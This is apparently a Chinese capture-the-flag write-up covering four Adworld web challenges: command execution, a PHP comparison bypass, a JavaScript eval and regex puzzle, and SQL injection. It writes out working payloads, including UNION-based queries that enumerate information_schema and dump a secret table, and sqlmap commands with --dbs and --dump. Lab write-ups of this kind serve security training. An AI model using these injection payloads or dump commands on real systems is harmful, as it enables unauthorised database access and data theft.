攻防世界 web(二)
這周接著刷攻防世界的web題( ̄︶ ̄)↗
1、command_execution
看提示這題為命令執(zhí)行漏洞(command_execution),關(guān)于命令執(zhí)行漏洞,我前面有篇博客詳細(xì)介紹了,大家不了解的話的可以去看看https://blog.csdn.net/qq_43531669/article/details/99771487
先嘗試一下127.0.0.1 發(fā)現(xiàn)執(zhí)行成功,得到回顯:
那沒(méi)什么好說(shuō)的了,直接查看目錄下的所有文件吧:
得到這些,接著查看home目錄下的文件:
發(fā)現(xiàn)flag文件,然后查看得到flag
2、simple_php
打開(kāi)題目地址:
得到這么幾串代碼
意思是當(dāng)a==0,但a的值又不能為0時(shí)輸出flag1,b大于1234,并且b不是數(shù)字時(shí)輸出flag2; 于是構(gòu)造:?a=0a&b=12345A便可繞過(guò)得到完整的flag。
3、NaNNaNNaNNaN-Batman
知識(shí)點(diǎn):js代碼(eval函數(shù),alert函數(shù))正則、代碼審計(jì)
eval() 函數(shù):可計(jì)算某個(gè)字符串,并執(zhí)行其中的的 JavaScript 代碼。
alert()函數(shù):用于顯示帶有一條指定消息和一個(gè)確定按鈕的警告框。
下載附件,以文本格式打開(kāi):
是一段JS的代碼,改后綴為.html在游覽器打開(kāi):
有一個(gè)輸入框,但輸入什么都沒(méi)有反應(yīng),繼續(xù)分析js代碼 = ̄ω ̄= 審計(jì)代碼可以看到eval函數(shù)執(zhí)行了_變量中的內(nèi)容也就是' '中的內(nèi)容,但是,要注意的是,它并沒(méi)有執(zhí)行$()函數(shù),僅僅執(zhí)行了字符串而已(從而導(dǎo)致亂碼),因而頁(yè)面html頁(yè)面沒(méi)有任何顯示,只顯示了input標(biāo)簽的內(nèi)容,但是我們想讓源代碼正常顯示出來(lái),不進(jìn)行執(zhí)行,那么,我們就用到了alert彈窗(將eval函數(shù)改為alert),將亂碼的$()函數(shù)源碼完整顯示出來(lái):
整理一下得到:
分析代碼,我們的目標(biāo)是打印出document.write(s[o%4][0]);s[o%4].splice(0,1)}
因此我們要滿足關(guān)鍵變量e的條件
這里又用到了正則表達(dá)式 ^表示開(kāi)頭一定要匹配到be0f23,$表示結(jié)尾一定要匹配到e98aa,其它的只要匹配到就好,沒(méi)有位置要求,于是構(gòu)造e=be0f233ac7be98aa
在輸入框中輸入e的值,點(diǎn)擊Ok
成功得到flag:
flag{it’s_a_h0le_in_0ne}
也可以直接將核心代碼直接在控制臺(tái)執(zhí)行
var t=["fl","s_a","i","e}"];var n=["a","_h0l","n"];var r=["g{","e","_0"];var i=["it'","_","n"];var s=[t,n,r,i];for(var o=0;o<13;++o){document.write(s[o%4][0]);s[o%4].splice(0,1)}4、NewsCenter
這一題考察的是 SQL 注入,這里演示下手動(dòng)注入和sqlmap兩種方法。
手動(dòng)注入:
首先查返回列,經(jīng)測(cè)試共三列返回?cái)?shù)據(jù)。
接著查看數(shù)據(jù)庫(kù)名,看到庫(kù)名為news
查表名,構(gòu)造命令:1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()
得到兩個(gè)表,news中無(wú)數(shù)據(jù),查看表 secret_table字段
1' union select 1,group_concat(column_name),3 from information_schema.columns where table_name=' secret_table'
最后執(zhí)行查詢語(yǔ)句
0' union select 1,2,fl4g from secret_table#
得到flag。
Sqlmap自動(dòng)注入:
首先用bp抓包,得到http文件頭
保存為文本。然后執(zhí)行命令:python sqlmap.py -r 1.txt --dbs 查數(shù)據(jù)庫(kù)
再執(zhí)行命令:python sqlmap.py -r 1.txt -D news --dump 獲取庫(kù)中的所有數(shù)據(jù)
得到 flag ! ( ̄▽ ̄)"/
總結(jié)
以上是生活随笔為你收集整理的攻防世界 web(二)的全部?jī)?nèi)容,希望文章能夠幫你解決所遇到的問(wèn)題。
- 上一篇: DVWA——Sqlmap练习
- 下一篇: 攻防世界 Web进阶(一)